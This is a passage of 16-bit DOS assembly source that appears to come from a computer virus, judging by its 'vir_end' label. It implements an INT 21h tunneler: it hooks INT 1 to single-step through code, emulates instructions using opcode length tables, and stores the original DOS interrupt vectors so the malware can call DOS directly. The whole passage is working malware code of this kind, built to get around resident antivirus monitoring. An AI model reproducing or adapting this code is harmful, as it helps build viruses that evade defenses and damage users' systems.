  700.     movsw                                   ; set the original vector
  701. ;; move a 'jmp [word ptr cs:saved_retto]' into code_buf
  702.     mov     di,cs
  703.     mov     es,di
  704.     xchg    ax,di                           ; es:di = cs:code_buf
  705.     mov     ax,0ff2e                        ;cs:...
  706.     stosw
  707.     mov     ax,(low offset saved_retto) shl 8 + 26
  708.     stosw
  709.     mov     al,(high offset saved_retto)
  710.     stosb                                   ; ...jmp [saved_retto]
  711.     test    [byte ptr cs:t_flags],1         ; use ds=cs?
  712.     je      no
  713.     mov     [word ptr cs:saved_retto],offset set_DS_CS
  714.     jmp     pop_all                         ; 'call' pop_all
  715. no:
  716.     mov     [word ptr cs:saved_retto],offset exe_ret1
  717.     jmp     pop_all
  718. set_DS_CS:
  719.     mov     ax,[word ptr cs:savedCS]
  720.     mov     ds,ax                           ; set DS = CS
  721.     mov     ax,[word ptr cs:_ax]            ; restore ax
  722. exe_ret1:
  723. restore:
  724.     mov     [word ptr cs:saved_retto],offset exe_ret
  725.     jmp     codebuf                         ; do the instruction
  726. exe_ret:
  727.     jmp     [word ptr cs:retto]             ; goto_div if test div 0
  728. cont_exe_ret:
  729.     mov     [word ptr cs:saved_retto],offset ret_exe
  730.     jmp     save_all_but_DS                 ; self-explanatory
  731. ret_exe:
  732.     mov     ax,ds
  733.     mov     bx,cs
  734.     cmp     ax,bx                           ; ds==cs?
  735.     jne     noCS_DS                         ; if ds != cs then save ds
  736.     mov     ds,[word ptr cs:_ds]
  737. noCS_DS:
  738.     mov     [word ptr cs:_ds],ds            ; save it in case ds != cs
  739. ;;******************************************
  740. ;; restore the first 6 bytes of our tunneler
  741.     mov     ax,cs
  742.     mov     es,ax
  743.     mov     di,offset trap                  ; es:di = cs:trap
  744.     mov     ax,8f2e
  745.     stosw
  746.     mov     ax,(low offset savedIP) shl 8 + 6
  747.     stosw
  748.     mov     ax,2e00 + (high offset savedIP)
  749.     stosw
  750.     xor     ax,ax
  751.     mov     ds,ax
  752.     mov     es,ax
  753.     mov     di,4
  754.     mov     si,di                           ; es:di = ds:si = INT 1
  755.     lodsw
  756.     mov     [word ptr cs:savedINT1],ax
  757.     lodsw
  758.     mov     [word ptr cs:savedINT1 + 2],ax  ; save changes to INT 1
  759.     mov     ax,offset trap
  760.     stosw
  761.     mov     ax,cs
  762.     stosw                                   ; restore the real INT 1
  763. goto_skip_trap:
  764.     mov     ds,[word ptr cs:savedCS]
  765.     mov     si,[word ptr cs:savedIP]        ; ds:si = traced cs:ip
  766.     jmp     skip_trap                       ; do next instruction
  767. one_byters:
  768.     db      6,7,0e
  769.     db      16,17,1e,1f
  770.     db      27,2f
  771.     db      37,3f
  772.     db      6c,6dh,6e,6f
  773.     db      90,91,92,93,94,95,96,97,98,99,9bh,9e,9f
  774.     db      0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
  775.     db      0c9
  776.     db      0d7
  777.     ;skip halt (no need to worry if that's executed!)
  778.     db      0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
  779. two_byters:
  780.     db      04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
  781.     db      6a                      ;push imm8
  782.     db      0a8                     ;test al,ib
  783.     db      0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7         ;mov rl/h, ib
  784.     db      0d4,0d5                 ;aam and aad
  785.     db      0e4,0e6                 ;in/out al,ib
  786.     db      0e5,0e7                 ;in/out ax,ib
  787. three_byters:
  788.     db      05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
  789.     db      68                      ; push imm16
  790.     db      0a0,0a1,0a2,0a3         ;mov al/ax,[mx],mov [mx],al/ax
  791.     db      0a9                     ;test ax,iw
  792.     db      0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf       ;mov rx,iw
  793. modrm:
  794.     db      0,1,2,3,8,9,0a,0bh
  795.     db      10,11,12,13,18,19,1a,1bh
  796.     db      20,21,22,23,28,29,2a,2bh
  797.     db      30,31,32,33,38,39,3a,3bh
  798.     db      69,6a
  799.     db      0c0,0c1,0c4,0c5,0c6,0c7,0d0,0d1,0d2,0d3,0d4
  800.     db      0f6,0f7,0fe
  801. abort:
  802.     db      0f,63,66,67,0d6,0f1
  803. end_opcodes:
  804.  
  805. old_CS  dw      ?
  806. oldint21:                       ; what you should use to do DOS functions
  807.     pushf                   ; is 'mov ah,function/call oldint21'
  808. db      9a              ; call far oldint21
  809. saved21_IP      dw      ?
  810. saved21_CS      dw      ?
  811.     ret
  812. currentint21:
  813.     pushf
  814. db      9a
  815. cur21o  dw      ?
  816. cur21s  dw      ?
  817. PSP_seg dw      ?
  818. vir_end:
  819.  
  820. t_flags:
  821. first_MCB:
  822. db      ?
  823. db      ?
  824. retto:
  825. db      ?
  826. db      ?
  827. saved_retto:
  828. db      ?
  829. db      ?
  830. savedSS:
  831. db      ?
  832. db      ?
  833. savedSP:
  834. db      ?
  835. db      ?
  836. saved_codebuf:
  837. db      ?
  838. db      ?
  839. newSP:
  840. db      ?
  841. db      ?
  842. SSIP:
  843. db      ?
  844. db      ?
  845. savedCS:
  846. db      ?
  847. db      ?
  848. savedIP:
  849. db      ?
  850. db      ?
  851. _ds:    dw      ?
  852. _es:    dw      ?
  853. _bp:    dw      ?
  854. _di:    dw      ?
  855. _si:    dw      ?
  856. _dx:    dw      ?
  857. _cx:    dw      ?
  858. _bx:    dw      ?
  859. _ax:    dw      ?
  860. top_of_stack:
  861. savedINT0:      dd      ?
  862. savedINT1:      dd      ?
  863. codebuf:
  864. code_buf        db      0c dup (?)
  865. flags:  dw      ?
  866. db      20      dup (?)
  867. fooger_stack:
  868. db      50      dup (?)
  869. ends    code
  870. end     tunl_setup
  871.  
  872.  
  873.